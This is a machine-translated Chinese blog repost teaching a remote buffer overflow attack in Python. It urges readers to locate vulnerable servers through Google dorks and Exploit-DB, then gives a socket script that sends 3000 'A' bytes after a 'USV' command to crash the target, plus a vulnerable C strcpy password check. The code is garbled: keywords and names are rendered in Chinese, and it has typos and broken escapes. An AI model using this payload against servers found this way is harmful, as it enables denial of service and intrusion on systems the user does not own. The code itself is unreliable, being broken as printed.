使用Python进行缓冲区溢出攻击

admin 2024年2月22日02:28:07评论14 views字数 997阅读3分19秒阅读模式

使用 Python 逐步编码远程缓冲区溢出漏洞利用:

1.寻找服务器进行测试

这个就比较复杂了。尝试在 GHDB (https://www.exploit-db.com/google-hacking-database/ )上搜索 dorks ,或者在 Exploit-DB ( https://www.exploit-db.com )上搜索易受攻击的软件。

2. 编码

编码是最简单的部分。从导入sys和socket开始,编写如下代码:

对于 sys.argv 中的货物:

如果货物==“-s”:

argnum = sys.argv.index(carg)

argnum += 1

主机 = sys.argv[argnum]

elif carg == "-p":

argnum = sys.argv.index(carg)

argnum += 1

端口 = sys.argv[argnum[

缓冲区 =“x41”* 3000

s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM)

s.connect((主机,端口))

s.send("USV " + buffer + "//r//n//r")

s.close()

代码应如下所示:

 

使用Python进行缓冲区溢出攻击

现在,我们来分析一下代码。我们已经从我之前的教程中了解了参数识别脚本。第二行创建一个缓冲区,即 x41 乘以 3000 倍。然后我们看到将 s 声明为套接字、与其连接、发送缓冲区并关闭套接字的行。看起来很难,但事实并非如此。

完成上述步骤后,就可以测试我们的脚本了!

 

使用Python进行缓冲区溢出攻击

正如我们所看到的,该脚本运行得非常好。我已经在我的一台服务器上使用易受攻击的软件对其进行了测试。祝 h4x1ng 好运!

如何避免 RBO

这取决于编程语言。例如,在 C 上,如果您使用如下代码,则可能容易受到远程缓冲区溢出的影响:

int 已验证 = 0;
字符password_buffer[16];
strcopy(password_buffer, your_password)
if (strcmp(password_buffer, 密码) == 0) {
            authed = 1;
}
其他 {
            已验证 = 0;
}

因此,一旦 your_password 超过 16,您就可以实现身份验证溢出,或者如果有更多,您可能会出现缓冲区溢出并出现分段错误错误。

因此,正如我已经提到的,在不同的情况下,解决方案是不同的。


原文始发于微信公众号(伞神安全):使用Python进行缓冲区溢出攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月22日02:28:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用Python进行缓冲区溢出攻击http://cn-sec.com/archives/2514200.html

发表评论

匿名网友 填写信息